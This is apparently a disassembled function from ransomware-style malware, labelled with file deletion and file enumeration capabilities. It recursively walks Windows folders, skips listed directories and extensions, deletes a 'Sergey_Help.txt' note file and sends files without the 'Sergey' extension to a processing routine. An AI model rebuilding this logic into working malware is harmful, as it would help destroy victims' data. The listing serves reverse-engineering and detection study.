Function at 0x404fd0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
push ebx
push esi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [ebp + 8]
lea eax, [esp + 0x14]
push ebx
push str.Start_Enumeration:__s
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call fcn.00404950
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x422334]
call ebx
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
jne 0x405054
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x422334]
call ebx
mov edi, eax
mov dword [esp + 0x1c], eax
test edi, edi
je 0x405034
push dword [ebp + 8]
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x14]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [eax + 4], edi
mov eax, ecx
mov dword [esp + 0x14], edi
cmp edi, eax
je 0x405272
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea eax, [edi + 8]
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 0x100]
push edi
push 8
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x4050d0
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4050b0
mov edi, dword [esp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.Sergey_Help.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
push 0
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x41f84c
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x405241
push 0x2a
push edi
call fcn.00406c62
mov esi, dword [esp + 0x14]
add esp, 8
xor ecx, ecx
mov word [eax], cx
nop word [eax + eax]
push 0x41f854
lea eax, [esp + 0x50]
push eax
call ebx
test eax, eax
je 0x405226
push 0x41f858
lea eax, [esp + 0x50]
push eax
call ebx
test eax, eax
je 0x405226
mov eax, dword [esp + 0x20]
test eax, 0x404
jne 0x405226
xor esi, esi
test al, 0x10
je 0x405290
push dword [esi + 0x41f0d0]
lea eax, [esp + 0x50]
push eax
call ebx
test eax, eax
je 0x405222
add esi, 4
cmp esi, 0x50
jb 0x405181
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0x4c]
push eax
call edi
add eax, esi
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x4051f0
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4051d0
mov eax, dword [esp + 0x10]
lea esi, [edi + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x14]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x18], edi
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405140
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x1c]
push edx
push 0
push dword [0x422334]
mov eax, dword [edx + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], edi
cmp edi, eax
jne 0x405085
push dword [ebp + 8]
push 0
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push dword [esi + 0x41f050]
lea eax, [esp + 0x50]
push eax
call ebx
test eax, eax
je 0x405222
add esi, 4
cmp esi, 0x44
jb 0x405290
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je 0x4052dd
lea edi, [eax + 2]
xor esi, esi
nop
push dword [esi + 0x41f094]
push edi
call ebx
test eax, eax
je 0x40521e
add esi, 4
cmp esi, 0x1c
jb 0x4052c0
mov edi, dword [esp + 0x10]
cmp dword [esp + 0x40], 0
jne 0x4052ef
cmp dword [esp + 0x3c], 0
je 0x405222
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0x4c]
push eax
call edi
add eax, esi
lea edi, [eax*2 + 2]
push edi
push 8
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x405340
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405320
mov edi, dword [esp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je 0x40537f
push str.Sergey
add eax, 2
push eax
call ebx
test eax, eax
jne 0x40537f
mov ecx, esi
call fcn.00404bf0
push esi
push 0
push dword [0x422334]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x405222